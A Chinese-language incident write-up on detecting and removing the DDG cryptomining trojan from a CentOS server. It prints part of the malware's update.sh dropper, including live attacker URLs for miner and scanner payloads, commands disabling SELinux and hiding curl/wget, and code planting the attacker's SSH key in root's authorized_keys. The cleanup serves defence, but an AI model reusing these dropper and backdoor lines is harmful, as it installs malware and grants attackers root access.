挖礦病毒DDG的分析與清除


 

注:以下所有操作均在CentOS 7.2 x86_64位系統下完成。

 

今天突然收到“阿里雲”的告警短信:

尊敬的****:雲盾雲安全中心檢測到您的服務器:*.*.*.*(app)出現了緊急安全事件:挖礦程序,建議您立即登錄雲安全中心控制台-安全告警查看事件詳情,並根據事件建議的方案進行處理。

 於是登上“雲盾雲安全中心”查看,發現安全提示:

 

點進去查看詳細信息:

 

 

 網上查了下,發現這是一款在Linux/Windows雙平台的挖礦病毒木馬,該木馬是通過Redis漏洞傳播的挖礦木馬DDG的變種,使用Go語言1.10編譯使用了大量的基礎庫文件。該木馬會大量消耗服務器資源,難以清除並具有內網擴散功能。

注:DDG挖礦病毒是一款在Linux系統下運行的惡意挖礦病毒,該病毒從去年一直活躍在現在,已經挖取了價值一千多萬人民幣的虛擬幣貨幣,此病毒樣本在一年左右的時間,已開發出了DDG.3012/DDG3013/DDG3020多個變種版本。

接下來清除該病毒。

#病毒清除(第一次)#

1)使用top命令查看當前系統資源使用情況:

# top
top - 13:38:00 up 4 days, 20:30,  1 user,  load average: 35.71, 35.86, 35.53
Tasks: 100 total,   1 running,  97 sleeping,   0 stopped,   2 zombie
%Cpu(s): 92.9 us,  6.9 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.2 si,  0.0 st
KiB Mem : 32781996 total, 32107928 free,   487608 used,   186460 buff/cache
KiB Swap:        0 total,        0 free,        0 used. 31952696 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                       
  923 root      20   0 2420152  90968    968 S 358.0  0.3  99:15.00 sysupdate                                                                     
  965 root      20   0 1088136  72112   1044 S  40.7  0.2  11:29.25 networkservice                                                                
25340 root      10 -10  130264  15648   9396 S   1.3  0.0  26:16.12 AliYunDun                                                                     
    9 root      20   0       0      0      0 S   0.3  0.0   1:54.95 rcu_sched                                                                     
 1300 root      20   0  157672   2148   1532 R   0.3  0.0   0:00.20 top

可以看到sysupdate和networkservice兩個異常進程占用了大量的服務器資源。

首先處理sysupdate進程。

2)通過PID找到該異常進程的文件路徑。

# ls -l /proc/923/exe
lrwxrwxrwx 1 root root 0 Oct 30 13:10 /proc/923/exe -> /etc/sysupdate

可以看到該文件的絕對路徑是/etc/sysupdate。我們把這個文件下載下來,放到Virustotal分析一下。

 

確認是XMR病毒無疑,傳送門

3)首先干掉進程。

# kill -9 923

4)接着刪除文件。

# rm -f /etc/sysupdate
rm: cannot remove ‘/etc/sysupdate’: Operation not permitted

無法刪除,看來是做了保護,可能是使用chattr命令對文件做了鎖定。

5)解除鎖定並再次嘗試刪除文件。

# chattr -i /etc/sysupdate
# rm -f /etc/sysupdate

這次可以刪除了。

然后按照上面的步驟把networkservice異常進程文件也刪除掉。

查看當前服務器資源使用情況,發現一切正常了:

# top
top - 14:34:43 up 4 days, 21:26,  1 user,  load average: 0.00, 0.02, 1.36
Tasks:  93 total,   1 running,  92 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.1 us,  0.2 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 32781996 total, 32128876 free,   297728 used,   355392 buff/cache
KiB Swap:        0 total,        0 free,        0 used. 32132976 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                       
  503 root      20   0 1414308  28104   7676 S   0.7  0.1  14:32.75 CmsGoAgent.linu                                                               
25340 root      10 -10  130264  15648   9396 S   0.7  0.0  26:49.00 AliYunDun                                                                     
31672 root      20   0       0      0      0 S   0.3  0.0   0:00.57 kworker/3:2  

這次服務器正常了。

#病毒清除(第二次)#

沒過多久,再次收到“阿里雲”報警短信:

雲盾檢測到您的服務器正在通過HTTP請求,嘗試連接一個可疑惡意下載源,可能是黑客通過運行指令、惡意進程等方式從遠程服務器下載惡意文件,危害服務器安全。如果該操作不是您自己運行,請及時排查入侵原因,例如查看本機的計划任務、發起對外連接的父子進程。

再次登上“雲盾雲安全中心”查看,發現安全提示:

 發現剛剛刪除的sysupdate文件又回來了。

# more /etc/sys
sysconfig/          sysctl.d/           system-release      sysupdate           
sysctl.conf         systemd/            system-release-cpe  sysupdates

還有一個可疑的sysupdates文件,猜測可能是寫了定時任務。

1)查看定時任務的日志,為了方便過濾,加入關鍵詞“update”。

# more /var/log/cron log | grep "update"
Oct 30 12:30:01 iabczwz93qwr9mrtmr CROND[31702]: (root) CMD (sh /etc/update.sh >/dev/null 2>&1)
Oct 30 13:10:01 iabczwz93qwr9mrtmr CROND[32719]: (root) CMD (sh /etc/update.sh )

果然,發現了一個異常的/etc/update.sh腳本。

2)打開這個腳本查看其內容:

# vim /etc/update.sh

#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="4954"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"
...

可以看到它在這里做了好幾件事,首先是往/etc目錄下面下載以下文件:

  • /etc/config.json:挖礦配置文件,包含錢包地址與挖礦參數等;
  • /etc/sysupdate:XMR挖礦程序主體;
  • /etc/sysupdates:XMR挖礦程序主體備份;
  • /etc/sysguard:根據獲取到的系統版本下載針對性Payload執行,包含通信模塊用於監控並保證病毒的正常運行以及更新;
  • /etc/networkservice:漏洞檢測模塊,針對Redis、MSSQL、ThinkPHP、WebLogic等軟件漏洞和系統漏洞掃描並入侵其他的主機;
  • /etc/update.sh:本腳本文件。

簡單分析下/etc/update.sh文件,發現它做了以下事情:

  • 下載病毒模塊;
  • 在kill_miner_proc函數中清除其他挖礦病毒;
  • 定時任務存活;
  • 為文件添加chattr鎖定;
  • 修改IPTABLES;
  • 清除日志;
  • 關閉SELinux;
  • ……

還有個后門,創建/root/.ssh/authorized_keys,添加病毒作者自己的公鑰,保證其可以使用SSH登錄到服務器,具體代碼如下:

...
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
...

我們來查看下這個后門:

# vim /root/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17

接下來我們開始干活。

3)首先清除該定時任務。

4)將相關進程再次重新全部kill殺掉,並且將上述文件全部刪除。

# rm -f /etc/update.sh
# rm -f /etc/config.json
# rm -f /etc/sysupdate
# rm -f /etc/sysupdates
# rm -f /etc/networkservice

5)將SSH后門刪除。

# rm -f /root/.ssh/authorized_keys

至此,任務完成。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM